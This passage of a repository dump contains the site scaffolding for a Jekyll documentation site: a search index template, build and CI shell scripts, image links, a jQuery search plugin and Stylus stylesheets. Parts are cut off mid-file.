-------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | permalink: /scala 4 | language: scala 5 | --- 6 | -------------------------------------------------------------------------------- /pages/search.json: -------------------------------------------------------------------------------- 1 | --- 2 | permalink: search.json 3 | --- 4 | [ 5 | {% for post in site.practices %} 6 | { 7 | "title" : "{{ post.title | escape }}", 8 | "category" : "{{ post.categories }}", 9 | "tags" : "{{ post.tags | array_to_sentence_string }}", 10 | "url" : "{{ site.baseurl }}{{ post.url }}", 11 | "language" : "{{ post.language }}" 12 | } {% unless forloop.last %},{% endunless %} 13 | {% endfor %} 14 | ] 15 | -------------------------------------------------------------------------------- /script/bootstrap: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | gem install bundler 6 | bundle install 7 | -------------------------------------------------------------------------------- /script/build: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | echo "Buidling the example site..." 6 | bundle exec jekyll build --source example 7 | -------------------------------------------------------------------------------- /script/cibuild: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | script/build 6 | 7 | if test -e "./_site/index.html";then 8 | echo "It builds!" 9 | rm -Rf _site 10 | exit 0 11 | else 12 | echo "Huh. That's odd. The example site doesn't seem to build." 13 | exit 1 14 | fi 15 | -------------------------------------------------------------------------------- /src/img/blog-author.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/blog-author.jpg -------------------------------------------------------------------------------- /src/img/blog-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/blog-image.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-114x114.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-114x114.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-120x120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-120x120.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-144x144.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-144x144.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-152x152.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-152x152.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-57x57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-57x57.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-60x60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-60x60.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-72x72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-72x72.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon-76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon-76x76.png -------------------------------------------------------------------------------- /src/img/icons/apple-touch-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/apple-touch-icon.png -------------------------------------------------------------------------------- /src/img/icons/favicon-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-16x16.png -------------------------------------------------------------------------------- /src/img/icons/favicon-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-32x32.png -------------------------------------------------------------------------------- /src/img/icons/favicon-64x64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon-64x64.png -------------------------------------------------------------------------------- /src/img/icons/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/favicon.ico -------------------------------------------------------------------------------- /src/img/icons/largetile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/largetile.png -------------------------------------------------------------------------------- /src/img/icons/mediumtile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/mediumtile.png -------------------------------------------------------------------------------- /src/img/icons/smalltile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/smalltile.png -------------------------------------------------------------------------------- /src/img/icons/widetile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/icons/widetile.png -------------------------------------------------------------------------------- /src/img/logo-cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc.png -------------------------------------------------------------------------------- /src/img/logo-cc.svg: -------------------------------------------------------------------------------- 1 | 1CEC5C93-7CBE-4978-8123-5B1DFAA2DB6F -------------------------------------------------------------------------------- /src/img/logo-cc2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc2x.png -------------------------------------------------------------------------------- /src/img/logo-cc3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-cc3x.png -------------------------------------------------------------------------------- /src/img/logo-codoms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms.png -------------------------------------------------------------------------------- /src/img/logo-codoms.svg: -------------------------------------------------------------------------------- 1 | 2B498920-BFBC-4AB7-B411-23FB783EF561 2 | -------------------------------------------------------------------------------- /src/img/logo-codoms2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms2x.png -------------------------------------------------------------------------------- /src/img/logo-codoms3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/src/img/logo-codoms3x.png -------------------------------------------------------------------------------- /src/js/simpleJekyllSearch.js: -------------------------------------------------------------------------------- 1 | (function($) { 2 | $.fn.simpleJekyllSearch = function(options) { 3 | var settings = $.extend({ 4 | jsonFile : '/search.json', 5 | jsonFormat : 'title,category,desc,url,language', 6 | template : '
  • ', 7 | searchResults : '.search-results', 8 | searchResultsTitle : '

    Search Results:

    ', 9 | limit : '5', 10 | noResults : '

    Oh snap!
    Nothing found! =(

    ' 11 | }, options); 12 | 13 | var properties = settings.jsonFormat.split(','); 14 | 15 | var jsonData = [], 16 | origThis = this, 17 | searchResults = $(settings.searchResults); 18 | 19 | if(settings.jsonFile.length && searchResults.length){ 20 | $.ajax({ 21 | type: "GET", 22 | url: settings.jsonFile, 23 | dataType: 'json', 24 | success: function(data, textStatus, jqXHR) { 25 | jsonData = data; 26 | registerEvent(); 27 | }, 28 | error: function(x,y,z) { 29 | console.log("***ERROR in simpleJekyllSearch.js***"); 30 | console.log(x); 31 | console.log(y); 32 | console.log(z); 33 | // x.responseText should have what's wrong 34 | } 35 | }); 36 | } 37 | 38 | 39 | function registerEvent(){ 40 | origThis.keyup(function(e){ 41 | if($(this).val().length){ 42 | writeMatches( performSearch($(this).val()) ); 43 | }else{ 44 | clearSearchResults(); 45 | } 46 | }); 47 | } 48 | 49 | function performSearch(str){ 50 | var matches = []; 51 | 52 | $.each(jsonData,function(i,entry){ 53 | for(var i=0;i" 40 | font-size rem(20px) 41 | color black 42 | position absolute 43 | left -10px 44 | transition all .2s 45 | &:hover 46 | &:before 47 | transform translateX(-10px) 48 | -------------------------------------------------------------------------------- /src/styl/_footer.styl: -------------------------------------------------------------------------------- 1 | .comments 2 | center(rem(800px)) 3 | padding 0 rem(20px) 4 | h3 5 | margin 0 0 rem(30px) 6 | font-size rem(30px) 7 | 8 | footer 9 | background neotree 10 | padding rem(25px) 0 11 | margin-top 100px 12 | clear both 13 | color sec 14 | p,a 15 | mainFont(300) 16 | color sec 17 | text-align center 18 | margin 0 19 | 20 | -------------------------------------------------------------------------------- /src/styl/_header.styl: -------------------------------------------------------------------------------- 1 | html, 2 | body 3 | height 100% 4 | font-family sans-serif 5 | color gray 6 | 7 | 8 | $bg 9 | background main 10 | height 100% 11 | 12 | // Header home 13 | main 14 | @extends $bg 15 | margin-left rem(400px) 16 | background-color white 17 | padding-top rem(20px) 18 | padding-left rem(40px) 19 | 20 | .content 21 | padding: 20px 22 | 23 | li 24 | margin 0 25 | list-style-type none 26 | .person 27 | img 28 | size(130, 130) 29 | border-radius 100% 30 | margin-bottom 80px 31 | ul.recent 32 | padding-left 0 33 | 34 | h2 35 | color accent_color 36 | font-weight bold 37 | text-transform uppercase 38 | font-size rem(16px) 39 | margin-bottom rem(30px) 40 | 41 | li 42 | a 43 | text-decoration none 44 | color gray 45 | &:hover 46 | h4 47 | color accent_color 48 | letter-spacing rem(0.5px) 49 | h4 50 | font-weight normal 51 | i 52 | margin-right rem(10px) 53 | 54 | // h1,h2,h3,p,a 55 | // color: sec 56 | .site-title 57 | font-size rem(30px) 58 | line-height 1 59 | margin-top -80px 60 | display block 61 | letter-spacing 9px 62 | +above(cut) 63 | letter-spacing 16px 64 | margin-bottom 0 65 | font-size rem(20px) 66 | .site-description 67 | font-size rem(20px) 68 | display block 69 | margin rem(30px) 0 70 | +above(cut) 71 | font-size rem(40px) 72 | 73 | h3.heroe 74 | color heroe_fg 75 | max-width rem(600px) 76 | font-size rem(30px) 77 | font-weight 300 78 | margin-bottom rem(60px) 79 | 80 | .rectangle 81 | display block 82 | width 207px 83 | border-radius 5px 84 | align(h) 85 | background-color #74479c 86 | text-align center 87 | color #ffffff 88 | font-weight bold 89 | 90 | // Header Post 91 | .header-post 92 | @extends $bg 93 | height 62px 94 | background transparent 95 | #open 96 | position fixed 97 | background transparent 98 | p 99 | margin 0 100 | padding-top 23px 101 | text-align center 102 | color sec 103 | -------------------------------------------------------------------------------- /src/styl/_hightlight.styl: -------------------------------------------------------------------------------- 1 | pre 2 | width 100% 3 | padding rem(20px) 0 4 | color sec 5 | margin rem(30px) 0 6 | font-size rem(14px) 7 | +above(cut) 8 | font-size rem(16px) 9 | padding rem(20px) 0 10 | margin rem(20px) 0 11 | code 12 | +below(cut) 13 | overflow-x: scroll; 14 | span 15 | line-height 1.5rem 16 | font-family 'Monaco','Consolas','Menlo',monospace 17 | 18 | /* 19 | Darkly Pygments Theme 20 | (c) 2014 Sourcey 21 | http://sourcey.com 22 | */ 23 | 24 | .highlight { 25 | white-space: pre; 26 | overflow: auto; 27 | word-wrap: normal; /* horizontal scrolling */ 28 | -moz-border-radius: 3px; 29 | -webkit-border-radius: 3px; 30 | border-radius: 0px; 31 | padding: 20px; 32 | background-color blackBase; 33 | color: #C1C2C3; 34 | margin 0; 35 | margin-bottom: 30px; 36 | } 37 | .highlight .hll { background-color: #ffc; } 38 | .highlight .gd { color: #2e3436; background-color: #0e1416; } 39 | .highlight .gr { color: #eeeeec; background-color: #c00; } 40 | .highlight .gi { color: #babdb6; background-color: #1f2b2d; } 41 | .highlight .go { color: #2c3032; background-color: #2c3032; } 42 | .highlight .kt { color: #e3e7df; } 43 | .highlight .ni { color: #888a85; } 44 | .highlight .c,.highlight .cm,.highlight .c1,.highlight .cs { color: #8D9684; } 45 | .highlight .err,.highlight .g,.highlight .l,.highlight .n,.highlight .x,.highlight .p,.highlight .ge, 46 | .highlight .gp,.highlight .gs,.highlight .gt,.highlight .ld,.highlight .s,.highlight .nc,.highlight .nd, 47 | .highlight .ne,.highlight .nl,.highlight .nn,.highlight .nx,.highlight .py,.highlight .ow,.highlight .w,.highlight .sb, 48 | .highlight .sc,.highlight .sd,.highlight .s2,.highlight .se,.highlight .sh,.highlight .si,.highlight .sx,.highlight .sr, 49 | .highlight .s1,.highlight .ss,.highlight .bp { color: #C1C2C3; } 50 | .highlight .k,.highlight .kc,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr, 51 | .highlight .nt { color: #729fcf; } 52 | .highlight .cp,.highlight .gh,.highlight .gu,.highlight .na,.highlight .nf { color: #E9A94B ; } 53 | .highlight .m,.highlight .nb,.highlight .no,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo, 54 | .highlight .il { color: #8ae234; } 55 | .highlight .o { color: #989DAA; } 56 | .highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi { color: #fff; } 57 | -------------------------------------------------------------------------------- /src/styl/_icons.styl: -------------------------------------------------------------------------------- 1 | size(width = 30, height = 30) 2 | width width px 3 | height height px 4 | 5 | .icons-home 6 | text-align center 7 | a 8 | display inline-block 9 | padding rem(15px) 10 | margin rem(2px) 11 | border-radius 50% 12 | border rem(2px) solid sec 13 | line-height 0 14 | transition all .7s 15 | .icon 16 | fill sec 17 | size(18,18) 18 | +above(cut) 19 | size() 20 | &:hover 21 | background sec 22 | .icon 23 | fill main 24 | 25 | .down 26 | position absolute 27 | bottom 50px 28 | width 100% 29 | display block 30 | text-align center 31 | .icon 32 | align(both) 33 | size(100,100) 34 | fill sec 35 | animation pulse 1.3s infinite 36 | .icon-arrow-menu 37 | vertical-align bottom 38 | size(18,15) 39 | -------------------------------------------------------------------------------- /src/styl/_menu.styl: -------------------------------------------------------------------------------- 1 | *, *:before, *:after 2 | -moz-box-sizing border-box 3 | -webkit-box-sizing border-box 4 | box-sizing border-box 5 | 6 | body 7 | left 0 8 | right 0 9 | margin auto 10 | 11 | a, aside, .overlay, body 12 | transition all .25s ease 13 | a.slideButton, .dosearch 14 | position absolute 15 | display block 16 | width 40px 17 | height 40px 18 | top 10px 19 | z-index 31 20 | .slideButton 21 | left 10px 22 | .dosearch 23 | right 10px 24 | background accent_color 25 | border-radius rem(3px) 26 | padding rem(2px) rem(3px) 27 | .icon-menu 28 | cursor pointer 29 | padding rem(5px) 30 | border-radius rem(3px) 31 | background accent_color 32 | width rem(40px) 33 | height rem(40px) 34 | fill sec 35 | .icon-search 36 | width rem(35px) 37 | height rem(35px) 38 | 39 | .overlay 40 | cursor pointer 41 | 42 | #close 43 | display none 44 | 45 | body > aside 46 | padding rem(43px) 47 | width rem(347px) 48 | height 100% 49 | position fixed 50 | background-color aside_color 51 | overflow-y auto 52 | top 0 53 | 54 | a 55 | text-decoration none 56 | 57 | h1 58 | text-transform uppercase 59 | font-size rem(26px) 60 | display table 61 | 62 | & > * 63 | display table-cell 64 | vertical-align middle 65 | 66 | & > object 67 | margin-right rem(10px) 68 | 69 | p.license 70 | position fixed 71 | bottom rem(40px) 72 | color lightGray 73 | width rem(200px) 74 | 75 | .creativecommons 76 | display block 77 | margin-bottom rem(20px) 78 | i.fa-heart 79 | color: #ee7373 80 | 81 | a 82 | color lightGray 83 | text-decoration none 84 | &:hover 85 | color accent_color 86 | 87 | ul.languages 88 | list-style none 89 | margin-left 0 90 | padding-left 0 91 | margin-top rem(40px) 92 | 93 | h2 94 | color #9a9a9a 95 | font-size rem(14px) 96 | text-transform uppercase 97 | font-weight bold 98 | 99 | li 100 | line-height rem(30px) 101 | a 102 | text-decoration none 103 | color lightGray 104 | &.selected 105 | color gray 106 | 107 | li.contribute 108 | margin-top rem(10px) 109 | a 110 | color accent_color 111 | 112 | a.slideButton.slide 113 | pointer-events none 114 | 115 | .overlay 116 | position fixed 117 | width 100% 118 | height 100% 119 | bottom 0 120 | left 0 121 | pointer-events none 122 | background transparent 123 | z-index 30 124 | &.slide 125 | pointer-events auto 126 | bottom 162px 127 | background rgba(0,0,0,.6) 128 | -------------------------------------------------------------------------------- /src/styl/_page.styl: -------------------------------------------------------------------------------- 1 | .page 2 | 3 | margin-left rem(400px) 4 | 5 | +above(rem(1450px)) 6 | margin-left: rem(427px) 7 | max-width: rem(780px) 8 | 9 | margin-right: rem(30px) 10 | 11 | h1, h2, h3 12 | &:before 13 | color main 14 | font-weight 300 15 | margin-right 10px 16 | h1 17 | margin 0 18 | font-size rem(30px) 19 | +above(cut) 20 | font-size rem(70px) 21 | &:before 22 | color main 23 | font-size rem(40px) 24 | .page-title 25 | text-align center 26 | 27 | &:before 28 | content "" 29 | 30 | margin-bottom: rem(20px) 31 | 32 | .time 33 | text-align center 34 | margin-top 30px 35 | mainFont(300) 36 | .music-read 37 | text-align center 38 | .page-content 39 | padding rem(16px) 0 40 | img 41 | max-width 100% 42 | margin rem(30px) auto 43 | display block 44 | p, h1, h2, h3, h4,ul,ol, .tags, iframe 45 | max-width rem(1200px) 46 | padding 0 rem(20px) 47 | margin 0 auto rem(30px) 48 | mainFont(300) 49 | font-size rem(18px) 50 | line-height 2 51 | letter-spacing 0.01rem 52 | +above(cut) 53 | font-size rem(20px) 54 | 55 | h1,h2,h3,h4,h5 56 | mainFont(800) 57 | h1 58 | font-size rem(30px) 59 | line-height 1.4 60 | font-weight normal 61 | color accent_color 62 | 63 | h2 64 | font-size rem(26px) 65 | line-height 1.4 66 | font-weight bold 67 | 68 | h3 69 | font-size rem(24px) 70 | line-height 1.4 71 | 72 | p,li 73 | color texts 74 | code 75 | color colorcode 76 | a 77 | mainFont(300) 78 | color main 79 | text-decoration none 80 | border-bottom 2px solid main 81 | &:hover 82 | background-color mainHover 83 | iframe 84 | margin-top rem(30px) 85 | width 100% 86 | #twitter-widget-0 87 | margin auto !important 88 | h1,h2,h3,h4,h5 89 | mainFont(800) 90 | h1 91 | font-size rem(30px) 92 | line-height 1.4 93 | +above(cut) 94 | font-size rem(45px) 95 | h2 96 | font-size rem(22px) 97 | line-height 1.4 98 | &:before 99 | content '##' 100 | font-size rem(25px) 101 | +above(cut) 102 | font-size rem(35px) 103 | h3 104 | font-size rem(18px) 105 | line-height 1.4 106 | +above(cut) 107 | font-size rem(25px) 108 | ul,ol 109 | padding-left rem(40px) 110 | ul.page-list 111 | padding 0 112 | +below(cut) 113 | padding 0 rem(20px) 114 | blockquote 115 | center(rem(730px)) 116 | border-left rem(5px) solid main 117 | padding 0 rem(30px) 118 | margin rem(50px) auto 119 | +below(cut) 120 | width 70% 121 | p 122 | color rgba(0,0,0,0.6) 123 | margin 0 124 | +below(cut) 125 | font-size rem(18px) 126 | line-height 1.5 127 | padding 0 128 | hr 129 | center(rem(760px)) 130 | border 1px solid lightGray 131 | margin 50px auto 132 | .about_perfil 133 | width 200px 134 | 135 | pre 136 | padding rem(20px) 137 | 138 | .asciicast 139 | padding rem(20px) !important 140 | -------------------------------------------------------------------------------- /src/styl/_post.styl: -------------------------------------------------------------------------------- 1 | .post 2 | 3 | margin-left rem(400px) 4 | 5 | +above(rem(1450px)) 6 | margin-left: rem(427px) 7 | max-width: rem(780px) 8 | 9 | margin-right: rem(30px) 10 | 11 | .post-title 12 | font-size rem(30px) 13 | margin-top 0 14 | margin-bottom 0 15 | 16 | .time 17 | text-align center 18 | margin-top 30px 19 | mainFont(300) 20 | .music-read 21 | text-align center 22 | .post-content 23 | padding rem(30px) 0 24 | img 25 | max-width 100% 26 | margin rem(30px) auto 27 | display block 28 | p, h1, h2, h3, h4,ul,ol, .tags, iframe 29 | max-width rem(1200px) 30 | padding 0 31 | margin 0 auto rem(30px) 32 | mainFont(300) 33 | font-size rem(18px) 34 | line-height 2 35 | letter-spacing 0.01rem 36 | +above(cut) 37 | font-size rem(20px) 38 | 39 | p,li 40 | color texts 41 | code 42 | color colorcode 43 | a 44 | mainFont(300) 45 | color main 46 | text-decoration none 47 | border-bottom 2px solid main 48 | &:hover 49 | color accent_color 50 | border-bottom-color accent_color 51 | iframe 52 | margin-top rem(30px) 53 | width 100% 54 | #twitter-widget-0 55 | margin auto !important 56 | h1,h2,h3,h4,h5 57 | mainFont(800) 58 | h1 59 | font-size rem(30px) 60 | line-height 1.4 61 | font-weight normal 62 | color accent_color 63 | margin-top rem(60px) 64 | 65 | h2 66 | font-size rem(26px) 67 | line-height 1.4 68 | font-weight bold 69 | 70 | h3 71 | font-size rem(24px) 72 | line-height 1.4 73 | 74 | ul,ol 75 | padding-left rem(40px) 76 | ul.post-list 77 | padding 0 78 | +below(cut) 79 | padding 0 rem(20px) 80 | blockquote 81 | border-left rem(5px) solid main 82 | padding 0 rem(20px) 83 | margin rem(50px) rem(20px) 84 | p 85 | color rgba(0,0,0,0.6) 86 | margin 0 87 | +below(cut) 88 | font-size rem(18px) 89 | line-height 1.5 90 | padding 0 91 | hr 92 | center(rem(760px)) 93 | border 1px solid lightGray 94 | margin 50px auto 95 | .about_perfil 96 | width 200px 97 | 98 | pre 99 | padding rem(20px) 100 | .highlighter-rouge 101 | margin-bottom rem(30px) 102 | .asciicast 103 | padding 0 rem(20px) !important 104 | margin 0 auto rem(30px) !important 105 | 106 | iframe 107 | padding 0 rem(20px) !important 108 | margin 0 auto rem(30px) !important 109 | .share 110 | border-top 1px solid lightGray 111 | padding-top rem(20px) 112 | width 100% 113 | margin-bottom rem(50px) 114 | 115 | & > div 116 | display table 117 | 118 | & > * 119 | display table-cell 120 | vertical-align middle 121 | 122 | h3 123 | color #9a9a9a 124 | font-size rem(20px) 125 | text-transform uppercase 126 | font-weight normal 127 | padding-right rem(20px) 128 | svg 129 | margin rem(15px) 130 | size(35,35) 131 | a 132 | text-decoration none 133 | &:hover svg 134 | fill main 135 | 136 | 137 | table 138 | margin rem(50px) auto 139 | +below(cut) 140 | display none 141 | th, td 142 | border rem(2px) solid #ccc 143 | padding rem(5px) 144 | 145 | .tag-title 146 | mainFont(300) 147 | font-size rem(36px) 148 | margin-top rem(60px) 149 | center(rem(800px)) 150 | +below(cut) 151 | font-size rem(28px) 152 | margin-top rem(20px) 153 | padding 0 rem(20px) 154 | 155 | .post-list 156 | list-style none 157 | margin rem(25px) auto 158 | +below(cut) 159 | padding 0 rem(20px) 160 | a 161 | display block 162 | border-bottom 1px solid darken(lightGray,10%) 163 | padding rem(10px) 0 164 | text-decoration none 165 | transition all .5s 166 | &:hover 167 | color hover 168 | border-bottom 1px solid hover 169 | .entry-date 170 | float right 171 | +below(cut) 172 | display none 173 | -------------------------------------------------------------------------------- /src/styl/_postlist.styl: -------------------------------------------------------------------------------- 1 | .page_posts 2 | #search 3 | background transparent 4 | svg 5 | background-color transparent 6 | .post-item 7 | text-align left 8 | padding rem(5px) rem(20px) 9 | position relative 10 | .content 11 | cf(); 12 | +below(cut) 13 | text-align center 14 | stack() 15 | a 16 | +above(cut) 17 | col(4.2/6) 18 | text-decoration none 19 | border none 20 | .date 21 | color main 22 | .post-title 23 | color #c7b288 24 | position relative 25 | padding 0 26 | font-size rem(16px) 27 | margin 0 28 | text-align center 29 | &.selected 30 | background main 31 | &:hover 32 | background-color mainHover 33 | +above(cut) 34 | text-align left 35 | margin-left rem(-10px) 36 | display initial 37 | font-size rem(17px) 38 | text-decoration none 39 | -------------------------------------------------------------------------------- /src/styl/_search.styl: -------------------------------------------------------------------------------- 1 | /*--search--*/ 2 | input[type="search"] 3 | -webkit-box-sizing content-box 4 | -moz-box-sizing content-box 5 | -ms-box-sizing content-box 6 | box-sizing content-box 7 | -webkit-appearance textfield 8 | 9 | input[type="search"]::-webkit-search-decoration, 10 | input[type="search"]::-webkit-search-cancel-button 11 | -webkit-appearance none 12 | 13 | .search-wrapper 14 | transform translateY(-400px) 15 | z-index 9999 16 | &.active 17 | transform translateY(0) 18 | 19 | .search-form 20 | position relative 21 | top 0 22 | transform translateX(-200px) 23 | z-index 9999 24 | width 100% 25 | opacity 0 26 | transition all 200ms 100ms cubic-bezier(0,0.6,0.4,1) 27 | h4 28 | margin rem(10px) 0 29 | .search-field 30 | width 100% 31 | mainFont(300) 32 | font-size rem(26px) 33 | color #fff 34 | background-color transparent 35 | border 0 36 | border-bottom 1px solid #fff 37 | border-radius 0 38 | box-shadow none 39 | background-clip padding-box 40 | -webkit-appearance none 41 | &:focus 42 | outline 0 43 | box-shadow none 44 | &.active 45 | top 0 46 | transform translateX(0) 47 | opacity 1 48 | &.hidden 49 | display none 50 | .icon-remove-sign 51 | position absolute 52 | top 0 53 | right 0 54 | z-index 1 55 | display block 56 | fill sec 57 | width 30px 58 | height 30px 59 | text-align center 60 | cursor pointer 61 | &::-webkit-input-placeholder 62 | font-size rem(26px) 63 | 64 | 65 | .search-form .search-field::-webkit-search-decoration, 66 | .search-form .search-field::-webkit-search-cancel-button, 67 | .search-form .search-field::-webkit-search-results-button, 68 | .search-form .search-field::-webkit-search-results-decoration 69 | display none 70 | 71 | .search-form 72 | .search-list 73 | position absolute 74 | width 100% 75 | mainFont(300) 76 | h4, li, p, a, a:hover 77 | color sec 78 | 79 | body 80 | &.search-overlay 81 | overflow hidden 82 | &:after 83 | position absolute 84 | top 0 85 | left 0 86 | z-index 9001 87 | width 100% 88 | height 100% 89 | min-height 100% 90 | background-color rgba(0,0,0,0.6) 91 | content '' 92 | +below(cut) 93 | background-color main 94 | 95 | 96 | .search-wrapper 97 | position absolute 98 | top 50px 99 | width 100% 100 | padding-right 10% 101 | padding-left 10% 102 | *zoom 1 103 | &:after, &:before 104 | display table 105 | line-height 0 106 | content "" 107 | &:after 108 | clear both 109 | 110 | .search-wrapper:before, 111 | .search-wrapper:after 112 | display table 113 | line-height 0 114 | content "" 115 | 116 | .search-list 117 | padding 0 118 | margin 0 119 | list-style-type none 120 | .entry-date 121 | float right 122 | display none 123 | font-size 14px 124 | text-transform uppercase 125 | a 126 | text-decoration none 127 | display block 128 | padding rem(15px) 0 129 | width 100% 130 | border-bottom 1px solid sec 131 | &:hover 132 | color darken(sec, 30%) 133 | border-bottom 1px solid darken(sec, 30%) 134 | 135 | +above(48em) 136 | .search-wrapper 137 | top 100px 138 | .search-list .entry-date 139 | display inline 140 | -------------------------------------------------------------------------------- /src/styl/_typo.styl: -------------------------------------------------------------------------------- 1 | a 2 | -webkit-tap-highlight-color: rgba(0,0,0,0); 3 | 4 | @font-face { 5 | font-family: 'Open Sans'; 6 | font-style: normal; 7 | font-weight: 300; 8 | src: local('Open Sans Light'), local('OpenSans-Light'), url(https://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTRampu5_7CjHW5spxoeN3Vs.woff2) format('woff2'); 9 | } 10 | 11 | @font-face { 12 | font-family: 'Open Sans'; 13 | font-style: normal; 14 | font-weight: 800; 15 | src: local('Open Sans Extrabold'), local('OpenSans-Extrabold'), url(https://fonts.gstatic.com/s/opensans/v10/EInbV5DfGHOiMmvb1Xr-hiYtBUPDK3WL7KRKS_3q7OE.woff2) format('woff2'); 16 | } 17 | 18 | mainFont(weight = 800) 19 | font-family 'Open Sans', sans-serif 20 | font-weight weight 21 | font-style normal 22 | 23 | h1,h2,h3,h4 24 | mainFont() -------------------------------------------------------------------------------- /src/styl/_variables.styl: -------------------------------------------------------------------------------- 1 | // COLORS 2 | main = #93a1a1; 3 | mainHover = lighten(main, 10%) 4 | hover = darken(main, 50%) 5 | mainLight = #AB67AB 6 | sec = #FFFFFF 7 | texts = #333333 8 | colorcode = #615576 9 | blackBase = #073642 10 | neotree = #073642 11 | 12 | aside_color = #f8f8f8 13 | white = #ffffff 14 | gray = #333333 15 | lightGray = #ababab 16 | 17 | heroe_fg = #777088 18 | accent_color = #74479c 19 | // Resolution 20 | cut = 37.5rem 21 | -------------------------------------------------------------------------------- /src/styl/jeet/_functions.styl: -------------------------------------------------------------------------------- 1 | /** 2 | * Get percentage from a given ratio. 3 | * @param {number} [ratio=1] - The column ratio of the element. 4 | * @returns {number} - The percentage value. 5 | */ 6 | jeet-get-span(ratio = 1) 7 | return ratio * 100 8 | 9 | /** 10 | * Work out the column widths based on the ratio and gutter sizes. 11 | * @param {number} [ratios=1] - The column ratio of the element. 12 | * @param {number} [gutter=jeet.gutter] - The gutter for the column. 13 | * @returns {list} width gutter - A list containing the with and gutter for the element. 14 | */ 15 | jeet-get-column(ratios = 1, gutter = jeet.gutter) 16 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true 17 | width = 100 18 | 19 | for ratio in ratios 20 | gutter = gutter / width * 100 21 | width = 100 * ratio - gutter + 